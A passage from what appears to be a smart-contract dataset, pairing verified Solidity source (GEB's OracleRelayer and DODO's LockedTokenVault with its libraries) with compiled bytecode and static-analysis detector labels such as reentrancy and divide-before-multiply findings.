301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b613776816132ee565b811461378157600080fd5b50565b61378d81613300565b811461379857600080fd5b50565b6137a48161332c565b81146137af57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220951a877a95e5852049677fff91d8a305947e0cc4dd308cccf8d12dd7cb791a5764736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,163 |
0x4ed9c0dca0479bc64d8f4eb3007126d5791f7851 | /**
*Submitted for verification at Etherscan.io on 2021-02-14
*/
/**
*Submitted for verification at Etherscan.io on 2021-02-02
*/
/// OracleRelayer.sol
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
pragma solidity 0.6.7;
abstract contract SAFEEngineLike {
function modifyParameters(bytes32, bytes32, uint256) virtual external;
}
abstract contract OracleLike {
function getResultWithValidity() virtual public view returns (uint256, bool);
}
contract OracleRelayer {
// --- Auth ---
mapping (address => uint256) public authorizedAccounts;
/**
* @notice Add auth to an account
* @param account Account to add auth to
*/
function addAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 1;
emit AddAuthorization(account);
}
/**
* @notice Remove auth from an account
* @param account Account to remove auth from
*/
function removeAuthorization(address account) external isAuthorized {
authorizedAccounts[account] = 0;
emit RemoveAuthorization(account);
}
/**
* @notice Checks whether msg.sender can call an authed function
**/
modifier isAuthorized {
require(authorizedAccounts[msg.sender] == 1, "OracleRelayer/account-not-authorized");
_;
}
// --- Data ---
struct CollateralType {
// Usually an oracle security module that enforces delays to fresh price feeds
OracleLike orcl;
// CRatio used to compute the 'safePrice' - the price used when generating debt in SAFEEngine
uint256 safetyCRatio;
// CRatio used to compute the 'liquidationPrice' - the price used when liquidating SAFEs
uint256 liquidationCRatio;
}
// Data about each collateral type
mapping (bytes32 => CollateralType) public collateralTypes;
SAFEEngineLike public safeEngine;
// Whether this contract is enabled
uint256 public contractEnabled;
// Virtual redemption price (not the most updated value)
uint256 internal _redemptionPrice; // [ray]
// The force that changes the system users' incentives by changing the redemption price
uint256 public redemptionRate; // [ray]
// Last time when the redemption price was changed
uint256 public redemptionPriceUpdateTime; // [unix epoch time]
// Upper bound for the per-second redemption rate
uint256 public redemptionRateUpperBound; // [ray]
// Lower bound for the per-second redemption rate
uint256 public redemptionRateLowerBound; // [ray]
// --- Events ---
event AddAuthorization(address account);
event RemoveAuthorization(address account);
event DisableContract();
event ModifyParameters(
bytes32 collateralType,
bytes32 parameter,
address addr
);
event ModifyParameters(bytes32 parameter, uint256 data);
event ModifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
);
event UpdateRedemptionPrice(uint256 redemptionPrice);
event UpdateCollateralPrice(
bytes32 indexed collateralType,
uint256 priceFeedValue,
uint256 safetyPrice,
uint256 liquidationPrice
);
// --- Init ---
constructor(address safeEngine_) public {
authorizedAccounts[msg.sender] = 1;
safeEngine = SAFEEngineLike(safeEngine_);
_redemptionPrice = RAY;
redemptionRate = RAY;
redemptionPriceUpdateTime = now;
redemptionRateUpperBound = RAY * WAD;
redemptionRateLowerBound = 1;
contractEnabled = 1;
emit AddAuthorization(msg.sender);
}
// --- Math ---
uint256 constant WAD = 10 ** 18;
uint256 constant RAY = 10 ** 27;
function subtract(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x - y;
require(z <= x, "OracleRelayer/sub-underflow");
}
function multiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "OracleRelayer/mul-overflow");
}
function rmultiply(uint256 x, uint256 y) internal pure returns (uint256 z) {
// always rounds down
z = multiply(x, y) / RAY;
}
function rdivide(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y > 0, "OracleRelayer/rdiv-by-zero");
z = multiply(x, RAY) / y;
}
function rpower(uint256 x, uint256 n, uint256 base) internal pure returns (uint256 z) {
assembly {
switch x case 0 {switch n case 0 {z := base} default {z := 0}}
default {
switch mod(n, 2) case 0 { z := base } default { z := x }
let half := div(base, 2) // for rounding.
for { n := div(n, 2) } n { n := div(n,2) } {
let xx := mul(x, x)
if iszero(eq(div(xx, x), x)) { revert(0,0) }
let xxRound := add(xx, half)
if lt(xxRound, xx) { revert(0,0) }
x := div(xxRound, base)
if mod(n,2) {
let zx := mul(z, x)
if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) }
let zxRound := add(zx, half)
if lt(zxRound, zx) { revert(0,0) }
z := div(zxRound, base)
}
}
}
}
}
// --- Administration ---
/**
* @notice Modify oracle price feed addresses
* @param collateralType Collateral whose oracle we change
* @param parameter Name of the parameter
* @param addr New oracle address
*/
function modifyParameters(
bytes32 collateralType,
bytes32 parameter,
address addr
) external isAuthorized {
require(contractEnabled == 1, "OracleRelayer/contract-not-enabled");
if (parameter == "orcl") collateralTypes[collateralType].orcl = OracleLike(addr);
else revert("OracleRelayer/modify-unrecognized-param");
emit ModifyParameters(
collateralType,
parameter,
addr
);
}
/**
* @notice Modify redemption related parameters
* @param parameter Name of the parameter
* @param data New param value
*/
function modifyParameters(bytes32 parameter, uint256 data) external isAuthorized {
require(contractEnabled == 1, "OracleRelayer/contract-not-enabled");
require(data > 0, "OracleRelayer/null-data");
if (parameter == "redemptionPrice") {
_redemptionPrice = data;
}
else if (parameter == "redemptionRate") {
require(now == redemptionPriceUpdateTime, "OracleRelayer/redemption-price-not-updated");
uint256 adjustedRate = data;
if (data > redemptionRateUpperBound) {
adjustedRate = redemptionRateUpperBound;
} else if (data < redemptionRateLowerBound) {
adjustedRate = redemptionRateLowerBound;
}
redemptionRate = adjustedRate;
}
else if (parameter == "redemptionRateUpperBound") {
require(data > RAY, "OracleRelayer/invalid-redemption-rate-upper-bound");
redemptionRateUpperBound = data;
}
else if (parameter == "redemptionRateLowerBound") {
require(data < RAY, "OracleRelayer/invalid-redemption-rate-lower-bound");
redemptionRateLowerBound = data;
}
else revert("OracleRelayer/modify-unrecognized-param");
emit ModifyParameters(
parameter,
data
);
}
/**
* @notice Modify CRatio related parameters
* @param collateralType Collateral whose parameters we change
* @param parameter Name of the parameter
* @param data New param value
*/
function modifyParameters(
bytes32 collateralType,
bytes32 parameter,
uint256 data
) external isAuthorized {
require(contractEnabled == 1, "OracleRelayer/contract-not-enabled");
if (parameter == "safetyCRatio") {
require(data >= collateralTypes[collateralType].liquidationCRatio, "OracleRelayer/safety-lower-than-liquidation-cratio");
collateralTypes[collateralType].safetyCRatio = data;
}
else if (parameter == "liquidationCRatio") {
require(data <= collateralTypes[collateralType].safetyCRatio, "OracleRelayer/safety-lower-than-liquidation-cratio");
collateralTypes[collateralType].liquidationCRatio = data;
}
else revert("OracleRelayer/modify-unrecognized-param");
emit ModifyParameters(
collateralType,
parameter,
data
);
}
// --- Redemption Price Update ---
/**
* @notice Update the redemption price according to the current redemption rate
*/
function updateRedemptionPrice() internal returns (uint256) {
// Update redemption price
_redemptionPrice = rmultiply(
rpower(redemptionRate, subtract(now, redemptionPriceUpdateTime), RAY),
_redemptionPrice
);
if (_redemptionPrice == 0) _redemptionPrice = 1;
redemptionPriceUpdateTime = now;
emit UpdateRedemptionPrice(_redemptionPrice);
// Return updated redemption price
return _redemptionPrice;
}
/**
* @notice Fetch the latest redemption price by first updating it
*/
function redemptionPrice() public returns (uint256) {
if (now > redemptionPriceUpdateTime) return updateRedemptionPrice();
return _redemptionPrice;
}
// --- Update value ---
/**
* @notice Update the collateral price inside the system (inside SAFEEngine)
* @param collateralType The collateral we want to update prices (safety and liquidation prices) for
*/
function updateCollateralPrice(bytes32 collateralType) external {
(uint256 priceFeedValue, bool hasValidValue) =
collateralTypes[collateralType].orcl.getResultWithValidity();
uint256 redemptionPrice_ = redemptionPrice();
uint256 safetyPrice_ = hasValidValue ? rdivide(rdivide(multiply(uint256(priceFeedValue), 10 ** 9), redemptionPrice_), collateralTypes[collateralType].safetyCRatio) : 0;
uint256 liquidationPrice_ = hasValidValue ? rdivide(rdivide(multiply(uint256(priceFeedValue), 10 ** 9), redemptionPrice_), collateralTypes[collateralType].liquidationCRatio) : 0;
safeEngine.modifyParameters(collateralType, "safetyPrice", safetyPrice_);
safeEngine.modifyParameters(collateralType, "liquidationPrice", liquidationPrice_);
emit UpdateCollateralPrice(collateralType, priceFeedValue, safetyPrice_, liquidationPrice_);
}
/**
* @notice Disable this contract (normally called by GlobalSettlement)
*/
function disableContract() external isAuthorized {
contractEnabled = 0;
redemptionRate = RAY;
emit DisableContract();
}
/**
* @notice Fetch the safety CRatio of a specific collateral type
* @param collateralType The collateral type we want the safety CRatio for
*/
function safetyCRatio(bytes32 collateralType) public view returns (uint256) {
return collateralTypes[collateralType].safetyCRatio;
}
/**
* @notice Fetch the liquidation CRatio of a specific collateral type
* @param collateralType The collateral type we want the liquidation CRatio for
*/
function liquidationCRatio(bytes32 collateralType) public view returns (uint256) {
return collateralTypes[collateralType].liquidationCRatio;
}
/**
* @notice Fetch the oracle price feed of a specific collateral type
* @param collateralType The collateral type we want the oracle price feed for
*/
function orcl(bytes32 collateralType) public view returns (address) {
return address(collateralTypes[collateralType].orcl);
}
} | 0x608060405234801561001057600080fd5b50600436106101215760003560e01c806375502d3c116100ad57806394f3f81d1161007157806394f3f81d14610280578063c5b748c0146102a6578063d07900bb146102ae578063d4b9311d146102f3578063fe4f58901461031c57610121565b806375502d3c14610243578063894ba833146102605780638b5a7dba146102685780638e42e4b514610270578063925270371461027857610121565b8063513a3dba116100f4578063513a3dba146101ab578063540385a3146101dd578063667641cb146101e557806367aea3131461021e5780636d530fb31461022657610121565b806324ba5884146101265780633443106d1461015e57806335b281531461017b57806341b3a0d9146101a3575b600080fd5b61014c6004803603602081101561013c57600080fd5b50356001600160a01b031661033f565b60408051918252519081900360200190f35b61014c6004803603602081101561017457600080fd5b5035610351565b6101a16004803603602081101561019157600080fd5b50356001600160a01b0316610367565b005b61014c610407565b6101a1600480360360608110156101c157600080fd5b50803590602081013590604001356001600160a01b031661040d565b61014c61055b565b610202600480360360208110156101fb57600080fd5b5035610561565b604080516001600160a01b039092168252519081900360200190f35b61020261057c565b6101a16004803603602081101561023c57600080fd5b503561058b565b61014c6004803603602081101561025957600080fd5b50356107f0565b6101a1610805565b61014c610893565b61014c610899565b61014c61089f565b6101a16004803603602081101561029657600080fd5b50356001600160a01b03166108a5565b61014c610944565b6102cb600480360360208110156102c457600080fd5b5035610967565b604080516001600160a01b039094168452602084019290925282820152519081900360600190f35b6101a16004803603606081101561030957600080fd5b5080359060208101359060400135610993565b6101a16004803603604081101561033257600080fd5b5080359060200135610b6a565b60006020819052908152604090205481565b6000908152600160208190526040909120015490565b336000908152602081905260409020546001146103b55760405162461bcd60e51b81526004018080602001828103825260248152602001806111426024913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b60035481565b3360009081526020819052604090205460011461045b5760405162461bcd60e51b81526004018080602001828103825260248152602001806111426024913960400191505060405180910390fd5b60035460011461049c5760405162461bcd60e51b81526004018080602001828103825260228152602001806110ef6022913960400191505060405180910390fd5b81631bdc98db60e21b14156104d757600083815260016020526040902080546001600160a01b0319166001600160a01b03831617905561050e565b60405162461bcd60e51b81526004018080602001828103825260278152602001806110c86027913960400191505060405180910390fd5b60408051848152602081018490526001600160a01b0383168183015290517f87c209b94b27bfe8cb3329ca996f854fc16f2ec485116b0932eccd15fac50a409181900360600190a1505050565b60055481565b6000908152600160205260409020546001600160a01b031690565b6002546001600160a01b031681565b6000818152600160205260408082205481516309fa15b560e31b8152825184936001600160a01b0390931692634fd0ada89260048082019391829003018186803b1580156105d857600080fd5b505afa1580156105ec573d6000803e3d6000fd5b505050506040513d604081101561060257600080fd5b5080516020909101519092509050600061061a610944565b905060008261062a57600061065c565b61065c61064461063e86633b9aca00610e2a565b84610e9c565b60008781526001602081905260409091200154610e9c565b905060008361066c57600061069d565b61069d61068661068087633b9aca00610e2a565b85610e9c565b600088815260016020526040902060020154610e9c565b6002546040805163d4b9311d60e01b8152600481018a90526a736166657479507269636560a81b60248201526044810186905290519293506001600160a01b039091169163d4b9311d9160648082019260009290919082900301818387803b15801561070857600080fd5b505af115801561071c573d6000803e3d6000fd5b50506002546040805163d4b9311d60e01b8152600481018b90526f6c69717569646174696f6e507269636560801b60248201526044810186905290516001600160a01b03909216935063d4b9311d925060648082019260009290919082900301818387803b15801561078d57600080fd5b505af11580156107a1573d6000803e3d6000fd5b5050604080518881526020810186905280820185905290518993507f37f13f22a2174c79144ffda4c6b7ad416951d5a41171bec961f53ef4c049014e92509081900360600190a2505050505050565b60009081526001602052604090206002015490565b336000908152602081905260409020546001146108535760405162461bcd60e51b81526004018080602001828103825260248152602001806111426024913960400191505060405180910390fd5b600060038190556b033b2e3c9fd0803ce80000006005556040517f2d4b4ecff7bd7503135271925520a2f6c0d98c9473ffc1a1e72c92502f51b25e9190a1565b60065481565b60085481565b60075481565b336000908152602081905260409020546001146108f35760405162461bcd60e51b81526004018080602001828103825260248152602001806111426024913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b600060065442111561095f57610958610f18565b9050610964565b506004545b90565b60016020819052600091825260409091208054918101546002909101546001600160a01b039092169183565b336000908152602081905260409020546001146109e15760405162461bcd60e51b81526004018080602001828103825260248152602001806111426024913960400191505060405180910390fd5b600354600114610a225760405162461bcd60e51b81526004018080602001828103825260228152602001806110ef6022913960400191505060405180910390fd5b816b73616665747943526174696f60a01b1415610aa357600083815260016020526040902060020154811015610a895760405162461bcd60e51b81526004018080602001828103825260328152602001806111666032913960400191505060405180910390fd5b600083815260016020819052604090912001819055610b25565b81706c69717569646174696f6e43526174696f60781b14156104d75760008381526001602081905260409091200154811115610b105760405162461bcd60e51b81526004018080602001828103825260328152602001806111666032913960400191505060405180910390fd5b60008381526001602052604090206002018190555b604080518481526020810184905280820183905290517fc59b1109b54f213212d2f5af5c1dae5e887f9daa63b595578fae847cb048e8f49181900360600190a1505050565b33600090815260208190526040902054600114610bb85760405162461bcd60e51b81526004018080602001828103825260248152602001806111426024913960400191505060405180910390fd5b600354600114610bf95760405162461bcd60e51b81526004018080602001828103825260228152602001806110ef6022913960400191505060405180910390fd5b60008111610c4e576040805162461bcd60e51b815260206004820152601760248201527f4f7261636c6552656c617965722f6e756c6c2d64617461000000000000000000604482015290519081900360640190fd5b816e726564656d7074696f6e507269636560881b1415610c72576004819055610deb565b816d726564656d7074696f6e5261746560901b1415610cf7576006544214610ccb5760405162461bcd60e51b815260040180806020018281038252602a815260200180611198602a913960400191505060405180910390fd5b6007548190811115610ce05750600754610cef565b600854821015610cef57506008545b600555610deb565b817f726564656d7074696f6e526174655570706572426f756e6400000000000000001415610d73576b033b2e3c9fd0803ce80000008111610d695760405162461bcd60e51b81526004018080602001828103825260318152602001806111c26031913960400191505060405180910390fd5b6007819055610deb565b817f726564656d7074696f6e526174654c6f776572426f756e64000000000000000014156104d7576b033b2e3c9fd0803ce80000008110610de55760405162461bcd60e51b81526004018080602001828103825260318152602001806111116031913960400191505060405180910390fd5b60088190555b604080518381526020810183905281517fac7c5c1afaef770ec56ac6268cd3f2fbb1035858ead2601d6553157c33036c3a929181900390910190a15050565b6000811580610e4557505080820282828281610e4257fe5b04145b610e96576040805162461bcd60e51b815260206004820152601a60248201527f4f7261636c6552656c617965722f6d756c2d6f766572666c6f77000000000000604482015290519081900360640190fd5b92915050565b6000808211610ef2576040805162461bcd60e51b815260206004820152601a60248201527f4f7261636c6552656c617965722f726469762d62792d7a65726f000000000000604482015290519081900360640190fd5b81610f09846b033b2e3c9fd0803ce8000000610e2a565b81610f1057fe5b049392505050565b6000610f49610f41600554610f2f42600654610f98565b6b033b2e3c9fd0803ce8000000610ff0565b6004546110ae565b6004819055610f585760016004555b4260065560045460408051918252517f9e2c1201748a5c10b659169e27843c246931edf32ccc126c79505db2352fbc3b9181900360200190a15060045490565b80820382811115610e96576040805162461bcd60e51b815260206004820152601b60248201527f4f7261636c6552656c617965722f7375622d756e646572666c6f770000000000604482015290519081900360640190fd5b60008380156110905760018416801561100b5785925061100f565b8392505b50600283046002850494505b841561108a57858602868782041461103257600080fd5b8181018181101561104257600080fd5b859004965050600185161561107f57858302838782041415871515161561106857600080fd5b8181018181101561107857600080fd5b8590049350505b60028504945061101b565b506110a6565b8380156110a057600092506110a4565b8392505b505b509392505050565b60006b033b2e3c9fd0803ce8000000610f098484610e2a56fe4f7261636c6552656c617965722f6d6f646966792d756e7265636f676e697a65642d706172616d4f7261636c6552656c617965722f636f6e74726163742d6e6f742d656e61626c65644f7261636c6552656c617965722f696e76616c69642d726564656d7074696f6e2d726174652d6c6f7765722d626f756e644f7261636c6552656c617965722f6163636f756e742d6e6f742d617574686f72697a65644f7261636c6552656c617965722f7361666574792d6c6f7765722d7468616e2d6c69717569646174696f6e2d63726174696f4f7261636c6552656c617965722f726564656d7074696f6e2d70726963652d6e6f742d757064617465644f7261636c6552656c617965722f696e76616c69642d726564656d7074696f6e2d726174652d75707065722d626f756e64a2646970667358221220c2f2e60bbbb0e899011fdb85c74ca0cd43ed83a901401914bd0f80b9617e954164736f6c63430006070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 1,164 |
0x1e02FE8e97d6a2Ff5aC01c2Eba431Af4c7483dD3 | /**
*Submitted for verification at Etherscan.io on 2022-03-31
*/
// File: contracts/lib/SafeMath.sol
/*
Copyright 2020 DODO ZOO.
SPDX-License-Identifier: Apache-2.0
*/
pragma solidity 0.6.9;
pragma experimental ABIEncoderV2;
/**
* @title SafeMath
* @author DODO Breeder
*
* @notice Math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "MUL_ERROR");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "DIVIDING_ERROR");
return a / b;
}
function divCeil(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 quotient = div(a, b);
uint256 remainder = a - quotient * b;
if (remainder > 0) {
return quotient + 1;
} else {
return quotient;
}
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SUB_ERROR");
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "ADD_ERROR");
return c;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = x / 2 + 1;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
// File: contracts/lib/DecimalMath.sol
/**
* @title DecimalMath
* @author DODO Breeder
*
* @notice Functions for fixed point number with 18 decimals
*/
library DecimalMath {
using SafeMath for uint256;
uint256 internal constant ONE = 10**18;
uint256 internal constant ONE2 = 10**36;
function mulFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d) / (10**18);
}
function mulCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(d).divCeil(10**18);
}
function divFloor(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).div(d);
}
function divCeil(uint256 target, uint256 d) internal pure returns (uint256) {
return target.mul(10**18).divCeil(d);
}
function reciprocalFloor(uint256 target) internal pure returns (uint256) {
return uint256(10**36).div(target);
}
function reciprocalCeil(uint256 target) internal pure returns (uint256) {
return uint256(10**36).divCeil(target);
}
function powFloor(uint256 target, uint256 e) internal pure returns (uint256) {
if (e == 0) {
return 10 ** 18;
} else if (e == 1) {
return target;
} else {
uint p = powFloor(target, e.div(2));
p = p.mul(p) / (10**18);
if (e % 2 == 1) {
p = p.mul(target) / (10**18);
}
return p;
}
}
}
// File: contracts/lib/Ownable.sol
/**
* @title Ownable
* @author DODO Breeder
*
* @notice Ownership related functions
*/
contract Ownable {
address public _OWNER_;
address public _NEW_OWNER_;
// ============ Events ============
event OwnershipTransferPrepared(address indexed previousOwner, address indexed newOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
// ============ Modifiers ============
modifier onlyOwner() {
require(msg.sender == _OWNER_, "NOT_OWNER");
_;
}
// ============ Functions ============
constructor() internal {
_OWNER_ = msg.sender;
emit OwnershipTransferred(address(0), _OWNER_);
}
function transferOwnership(address newOwner) external virtual onlyOwner {
emit OwnershipTransferPrepared(_OWNER_, newOwner);
_NEW_OWNER_ = newOwner;
}
function claimOwnership() external {
require(msg.sender == _NEW_OWNER_, "INVALID_CLAIM");
emit OwnershipTransferred(_OWNER_, _NEW_OWNER_);
_OWNER_ = _NEW_OWNER_;
_NEW_OWNER_ = address(0);
}
}
// File: contracts/intf/IERC20.sol
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
// File: contracts/lib/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/DODOToken/LockedTokenVault.sol
/**
* @title LockedTokenVault
* @author DODO Breeder
*
* @notice Lock Token and release it linearly
*/
contract LockedTokenVault is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address public immutable _TOKEN_;
mapping(address => uint256) internal originBalances;
mapping(address => uint256) internal claimedBalances;
uint256 public _UNDISTRIBUTED_AMOUNT_;
uint256 public _START_RELEASE_TIME_;
uint256 public _RELEASE_DURATION_;
uint256 public _CLIFF_RATE_;
bool public _DISTRIBUTE_FINISHED_;
// ============ Events ============
event Claim(address indexed holder, uint256 origin, uint256 claimed, uint256 amount);
// ============ Modifiers ============
modifier beforeStartRelease() {
require(block.timestamp < _START_RELEASE_TIME_, "RELEASE START");
_;
}
modifier afterStartRelease() {
require(block.timestamp >= _START_RELEASE_TIME_, "RELEASE NOT START");
_;
}
modifier distributeNotFinished() {
require(!_DISTRIBUTE_FINISHED_, "DISTRIBUTE FINISHED");
_;
}
// ============ Init Functions ============
constructor(
address _token,
uint256 _startReleaseTime,
uint256 _releaseDuration,
uint256 _cliffRate
) public {
_TOKEN_ = _token;
_START_RELEASE_TIME_ = _startReleaseTime;
_RELEASE_DURATION_ = _releaseDuration;
_CLIFF_RATE_ = _cliffRate;
}
function deposit(uint256 amount) external onlyOwner {
_tokenTransferIn(_OWNER_, amount);
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.add(amount);
}
function withdraw(uint256 amount) external onlyOwner {
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.sub(amount);
_tokenTransferOut(_OWNER_, amount);
}
function finishDistribute() external onlyOwner {
_DISTRIBUTE_FINISHED_ = true;
}
// ============ For Owner ============
function grant(address[] calldata holderList, uint256[] calldata amountList)
external
onlyOwner
{
require(holderList.length == amountList.length, "batch grant length not match");
uint256 amount = 0;
for (uint256 i = 0; i < holderList.length; ++i) {
// for saving gas, no event for grant
originBalances[holderList[i]] = originBalances[holderList[i]].add(amountList[i]);
amount = amount.add(amountList[i]);
}
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.sub(amount);
}
function recall(address holder) external onlyOwner distributeNotFinished {
_UNDISTRIBUTED_AMOUNT_ = _UNDISTRIBUTED_AMOUNT_.add(originBalances[holder]).sub(
claimedBalances[holder]
);
originBalances[holder] = 0;
claimedBalances[holder] = 0;
}
// ============ For Holder ============
function transferLockedToken(address to) external {
require(to != msg.sender, "INVALID_TO_ADDRESS");
originBalances[to] = originBalances[to].add(originBalances[msg.sender]);
claimedBalances[to] = claimedBalances[to].add(claimedBalances[msg.sender]);
originBalances[msg.sender] = 0;
claimedBalances[msg.sender] = 0;
}
function claim() external {
uint256 claimableToken = getClaimableBalance(msg.sender);
_tokenTransferOut(msg.sender, claimableToken);
claimedBalances[msg.sender] = claimedBalances[msg.sender].add(claimableToken);
emit Claim(
msg.sender,
originBalances[msg.sender],
claimedBalances[msg.sender],
claimableToken
);
}
// ============ View ============
function isReleaseStart() external view returns (bool) {
return block.timestamp >= _START_RELEASE_TIME_;
}
function getOriginBalance(address holder) external view returns (uint256) {
return originBalances[holder];
}
function getClaimedBalance(address holder) external view returns (uint256) {
return claimedBalances[holder];
}
function getClaimableBalance(address holder) public view returns (uint256) {
uint256 remainingToken = getRemainingBalance(holder);
return originBalances[holder].sub(remainingToken).sub(claimedBalances[holder]);
}
function getRemainingBalance(address holder) public view returns (uint256) {
uint256 remainingRatio = getRemainingRatio(block.timestamp);
return DecimalMath.mulFloor(originBalances[holder], remainingRatio);
}
function getRemainingRatio(uint256 timestamp) public view returns (uint256) {
